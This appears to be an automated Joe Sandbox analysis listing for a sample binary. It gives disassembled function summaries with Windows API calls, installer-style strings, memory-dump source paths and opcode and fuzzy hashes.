                                                                                                                                                                                                                                      • Instruction ID: d5b995c8e3894394b735eabd433659eae54025482fea58e306a85006fdca5b97
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 3bdc6123dd6674b0137b7fef1a93c0b96d54f33e4692062cf67464f69f8f60e7
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E5212A74E04648AFEB00EFA9C941BEEB7B4EB48714F10846AF514B7690D7785940CB69
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • RtlEnterCriticalSection.KERNEL32(0049B420,00000000,00401B68), ref: 00401ABD
                                                                                                                                                                                                                                      • LocalFree.KERNEL32(0054E0B8,00000000,00401B68), ref: 00401ACF
                                                                                                                                                                                                                                      • VirtualFree.KERNEL32(?,00000000,00008000,0054E0B8,00000000,00401B68), ref: 00401AEE
                                                                                                                                                                                                                                      • LocalFree.KERNEL32(0054F0B8,?,00000000,00008000,0054E0B8,00000000,00401B68), ref: 00401B2D
                                                                                                                                                                                                                                      • RtlLeaveCriticalSection.KERNEL32(0049B420,00401B6F), ref: 00401B58
                                                                                                                                                                                                                                      • RtlDeleteCriticalSection.KERNEL32(0049B420,00401B6F), ref: 00401B62
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CriticalFreeSection$Local$DeleteEnterLeaveVirtual
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3782394904-0
                                                                                                                                                                                                                                      • Opcode ID: ef0d8b2142be7cf42810e170793bf0a6b8446fdea194a224c38922696d0a74e0
                                                                                                                                                                                                                                      • Instruction ID: 79795942c165c44483fb09e1962e32eaca51f8de38df00e9c029d8aa05623ce8
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ef0d8b2142be7cf42810e170793bf0a6b8446fdea194a224c38922696d0a74e0
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 3B118E30A003405AEB15AB65BE85B263BA5D761B08F44407BF80067BF3D77C5850E7AE
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetWindowLongA.USER32(?,000000EC), ref: 0047E24A
                                                                                                                                                                                                                                      • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000097,?,000000EC,?,0046CBBD), ref: 0047E270
                                                                                                                                                                                                                                      • GetWindowLongA.USER32(?,000000EC), ref: 0047E280
                                                                                                                                                                                                                                      • SetWindowLongA.USER32(?,000000EC,00000000), ref: 0047E2A1
                                                                                                                                                                                                                                      • ShowWindow.USER32(?,00000005,?,000000EC,00000000,?,000000EC,?,00000000,00000000,00000000,00000000,00000000,00000097,?,000000EC), ref: 0047E2B5
                                                                                                                                                                                                                                      • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000057,?,000000EC,00000000,?,000000EC,?,00000000,00000000,00000000), ref: 0047E2D1
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Window$Long$Show
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3609083571-0
                                                                                                                                                                                                                                      • Opcode ID: b4e19ff4e98ab52ecda950bfdcb646100cf30b97dd598c6192f2cb622b5c4e11
                                                                                                                                                                                                                                      • Instruction ID: c2beb8629b08809d81cb9269d2d7eee694fde7899d985d279cae8c77c91b058d
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: b4e19ff4e98ab52ecda950bfdcb646100cf30b97dd598c6192f2cb622b5c4e11
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A40140B1641210ABE610D769DE41F2237DCAB0C360F0907A6BA44EF3E3C728E8408B49
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 0041A6E0: CreateBrushIndirect.GDI32 ref: 0041A74B
                                                                                                                                                                                                                                      • UnrealizeObject.GDI32(00000000), ref: 0041B27C
                                                                                                                                                                                                                                      • SelectObject.GDI32(?,00000000), ref: 0041B28E
                                                                                                                                                                                                                                      • SetBkColor.GDI32(?,00000000), ref: 0041B2B1
                                                                                                                                                                                                                                      • SetBkMode.GDI32(?,00000002), ref: 0041B2BC
                                                                                                                                                                                                                                      • SetBkColor.GDI32(?,00000000), ref: 0041B2D7
                                                                                                                                                                                                                                      • SetBkMode.GDI32(?,00000001), ref: 0041B2E2
                                                                                                                                                                                                                                        • Part of subcall function 0041A058: GetSysColor.USER32(?), ref: 0041A062
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Color$ModeObject$BrushCreateIndirectSelectUnrealize
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3527656728-0
                                                                                                                                                                                                                                      • Opcode ID: 90af7722afa79acc590a6ee3060039fb524340e2cf7ce152cccbdcb584e8dbde
                                                                                                                                                                                                                                      • Instruction ID: d03b18a2b949c207061bd18b8e5d47ed8ce294e6be165222704fda36eef26a4f
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 90af7722afa79acc590a6ee3060039fb524340e2cf7ce152cccbdcb584e8dbde
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 56F0CD756015009BDE00FFAAD9CBE4B3B989F043097048496B908DF187CA3CD8649B3A
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 004242C4: SetWindowTextA.USER32(?,00000000), ref: 004242DC
                                                                                                                                                                                                                                      • ShowWindow.USER32(?,00000005,00000000,00497B31,?,?,00000000), ref: 00497902
                                                                                                                                                                                                                                        • Part of subcall function 0042D8C4: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0042D8D7
                                                                                                                                                                                                                                        • Part of subcall function 004072A8: SetCurrentDirectoryA.KERNEL32(00000000,?,0049792A,00000000,00497AFD,?,?,00000005,00000000,00497B31,?,?,00000000), ref: 004072B3
                                                                                                                                                                                                                                        • Part of subcall function 0042D44C: GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,0042D4DA,?,?,?,00000001,?,0045607E,00000000,004560E6), ref: 0042D481
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: DirectoryWindow$CurrentFileModuleNameShowSystemText
                                                                                                                                                                                                                                      • String ID: .dat$.msg$IMsg$Uninstall
                                                                                                                                                                                                                                      • API String ID: 3312786188-1660910688
                                                                                                                                                                                                                                      • Opcode ID: 7512cdbd572c9146c7922e267a2e3ec6043e3c2241cd3ad81f3df178027fada8
                                                                                                                                                                                                                                      • Instruction ID: 79fbc7277211ce2bf855d188aeb365c1f4e20c687b9dac3c04c4e1571c34c8ae
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 7512cdbd572c9146c7922e267a2e3ec6043e3c2241cd3ad81f3df178027fada8
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 44315E34A10214AFDB01EB65DC92D5E7B75FB89718B91847AF400AB392DB38BD018B58
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetModuleHandleA.KERNEL32(user32.dll,ShutdownBlockReasonCreate), ref: 0042EADA
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0042EAE0
                                                                                                                                                                                                                                      • MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000FFF,00000000,user32.dll,ShutdownBlockReasonCreate), ref: 0042EB09
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: AddressByteCharHandleModuleMultiProcWide
                                                                                                                                                                                                                                      • String ID: ShutdownBlockReasonCreate$user32.dll
                                                                                                                                                                                                                                      • API String ID: 828529508-2866557904
                                                                                                                                                                                                                                      • Opcode ID: dc376cfddf31d7f2fdf241a02509d8c694355095d88693d0378826b1ee5e642a
                                                                                                                                                                                                                                      • Instruction ID: 7e091cf0cf0c4dae12ae48626bdfb721f4796128e550bb25d34418d77cfbcdd5
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: dc376cfddf31d7f2fdf241a02509d8c694355095d88693d0378826b1ee5e642a
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 70F0C8D034061136E620B57F5C82F7B598C8F94759F140436B109E62C2D96CA905426E
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • MsgWaitForMultipleObjects.USER32(00000001,00000001,00000000,000000FF,000000FF), ref: 00457E78
                                                                                                                                                                                                                                      • GetExitCodeProcess.KERNEL32(?,?), ref: 00457E99
                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(?,00457ECC), ref: 00457EBF
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CloseCodeExitHandleMultipleObjectsProcessWait
                                                                                                                                                                                                                                      • String ID: GetExitCodeProcess$MsgWaitForMultipleObjects
                                                                                                                                                                                                                                      • API String ID: 2573145106-3235461205
                                                                                                                                                                                                                                      • Opcode ID: 1ea0d3176aedc3e092b8d1903486a3d6a13cecd7bb31937a8215cd8aa9781b6e
                                                                                                                                                                                                                                      • Instruction ID: b72ead612c96ea1451a2df619a1119c508d9f8e19ef45bb7a80fe0c677849c01
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 1ea0d3176aedc3e092b8d1903486a3d6a13cecd7bb31937a8215cd8aa9781b6e
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: DA01A235608304AFD711EBA9AC06A1A73A8EB49715F2040B6FC10E73D3D6389E04861D
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetModuleHandleA.KERNEL32(user32.dll,ChangeWindowMessageFilter,?,0042EA70,00000004,00499934,0045703D,004573E0,00456F94,00000000,00000B06,00000000,00000000,00000001,00000000,00000002), ref: 0042E9C2
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0042E9C8
                                                                                                                                                                                                                                      • InterlockedExchange.KERNEL32(0049B660,00000001), ref: 0042E9D9
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: AddressExchangeHandleInterlockedModuleProc
                                                                                                                                                                                                                                      • String ID: ChangeWindowMessageFilter$user32.dll
                                                                                                                                                                                                                                      • API String ID: 3478007392-2498399450
                                                                                                                                                                                                                                      • Opcode ID: 3254194633b527647525dea76c004eb0f33bc99a9c522dc813bf1be520244ffe
                                                                                                                                                                                                                                      • Instruction ID: c922fa4e85abb1c6873f36dcd01b6443d81c66d6c3501223796626af46e79b09
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 3254194633b527647525dea76c004eb0f33bc99a9c522dc813bf1be520244ffe
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 5CE0ECB2740324EADA103B627E8AF663558E724B19F50043BF001751F1C7FD1C80CA9E
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetWindowThreadProcessId.USER32(00000000), ref: 004776BC
                                                                                                                                                                                                                                      • GetModuleHandleA.KERNEL32(user32.dll,AllowSetForegroundWindow,00000000,?,?,004777B3,0049C0A4,00000000), ref: 004776CF
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,user32.dll), ref: 004776D5
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: AddressHandleModuleProcProcessThreadWindow
                                                                                                                                                                                                                                      • String ID: AllowSetForegroundWindow$user32.dll
                                                                                                                                                                                                                                      • API String ID: 1782028327-3855017861
                                                                                                                                                                                                                                      • Opcode ID: 79b78db4dd9cdf85c2be20cd47b0727ffde78e70408e3af60258cd37bb1d66b3
                                                                                                                                                                                                                                      • Instruction ID: ee14923c72d036b6004e6d5d181e2ae3dde99fc96f584ef82141a9a0fe8b283c
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 79b78db4dd9cdf85c2be20cd47b0727ffde78e70408e3af60258cd37bb1d66b3
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 99D0C7D0249B02AAD910B3F94D47FAF365CA954768794C47B7404E218DDABCDC00D93D
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • BeginPaint.USER32(00000000,?), ref: 00416C52
                                                                                                                                                                                                                                      • SaveDC.GDI32(?), ref: 00416C83
                                                                                                                                                                                                                                      • ExcludeClipRect.GDI32(?,?,?,?,?,?,00000000,00416D45), ref: 00416CE4
                                                                                                                                                                                                                                      • RestoreDC.GDI32(?,?), ref: 00416D0B
                                                                                                                                                                                                                                      • EndPaint.USER32(00000000,?,00416D4C,00000000,00416D45), ref: 00416D3F
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Paint$BeginClipExcludeRectRestoreSave
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3808407030-0
                                                                                                                                                                                                                                      • Opcode ID: ad781fe6fb59047a66b80eb53a3f65b2019eba16d1c733f202b60e39d660354f
                                                                                                                                                                                                                                      • Instruction ID: 8164e3b37c2b38cc39b91ef4074089abf19b8963c3e0e5cbd12a4ce3d65b1abe
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ad781fe6fb59047a66b80eb53a3f65b2019eba16d1c733f202b60e39d660354f
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A1415070A002049FCB14DBA9C585FAA77F9FF48304F1540AEE8459B362D778DD81CB58
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                      • Opcode ID: b6913cb722474124f75cff2ee5949f067bbdde1b56a592e148b6496e85af3d5a
                                                                                                                                                                                                                                      • Instruction ID: a833d86c80f2fb81cba799e3b93fc1891ddf3ebdd98a67124a25423b7ab76754
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: b6913cb722474124f75cff2ee5949f067bbdde1b56a592e148b6496e85af3d5a
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 563132746057809FC320EF69C984B9BB7E8AF89354F04491EF9D5C3752C638E8818F19
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • SendMessageA.USER32(00000000,000000BB,?,00000000), ref: 00429808
                                                                                                                                                                                                                                      • SendMessageA.USER32(00000000,000000BB,?,00000000), ref: 00429837
                                                                                                                                                                                                                                      • SendMessageA.USER32(00000000,000000C1,00000000,00000000), ref: 00429853
                                                                                                                                                                                                                                      • SendMessageA.USER32(00000000,000000B1,00000000,00000000), ref: 0042987E
                                                                                                                                                                                                                                      • SendMessageA.USER32(00000000,000000C2,00000000,00000000), ref: 0042989C
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: MessageSend
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3850602802-0
                                                                                                                                                                                                                                      • Opcode ID: 399f588db94bb8b810bf5b46e1237ea7bfd7cbebe0e15a3dbf36720fb68daebb
                                                                                                                                                                                                                                      • Instruction ID: 8b65b0e689063cc909dba6714575951256d1ad54ff8cece17fd29570ea6901c2
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 399f588db94bb8b810bf5b46e1237ea7bfd7cbebe0e15a3dbf36720fb68daebb
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6E219D707107057BEB10AB62DC82F5B7AECAB41708F54443EB501AB2D2DFB8AE418228
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetSystemMetrics.USER32(0000000B), ref: 0041BBCA
                                                                                                                                                                                                                                      • GetSystemMetrics.USER32(0000000C), ref: 0041BBD4
                                                                                                                                                                                                                                      • GetDC.USER32(00000000), ref: 0041BC12
                                                                                                                                                                                                                                      • CreateDIBitmap.GDI32(00000000,?,00000004,?,?,00000000), ref: 0041BC59
                                                                                                                                                                                                                                      • DeleteObject.GDI32(00000000), ref: 0041BC9A
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: MetricsSystem$BitmapCreateDeleteObject
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1095203571-0
                                                                                                                                                                                                                                      • Opcode ID: d6ecec59309c4539c21f746b1d4641e0a999657a412e1d938322a226e3514674
                                                                                                                                                                                                                                      • Instruction ID: 2a907a32995036c4e239f44386a828d3a2f1e7d44945ead90e55d18394f4d4ff
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: d6ecec59309c4539c21f746b1d4641e0a999657a412e1d938322a226e3514674
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 5D315C70E00208EFDB04DFA5C941AAEB7F5EB48700F2084AAF514AB781D7789E40DB98
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 0045CE9C: SetLastError.KERNEL32(00000057,00000000,0045CF68,?,?,?,?,00000000), ref: 0045CF07
                                                                                                                                                                                                                                      • GetLastError.KERNEL32(00000000,00000000,00000000,00473520,?,?,0049C1DC,00000000), ref: 004734D9
                                                                                                                                                                                                                                      • GetLastError.KERNEL32(00000000,00000000,00000000,00473520,?,?,0049C1DC,00000000), ref: 004734EF
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      • Failed to set permissions on registry key (%d)., xrefs: 00473500
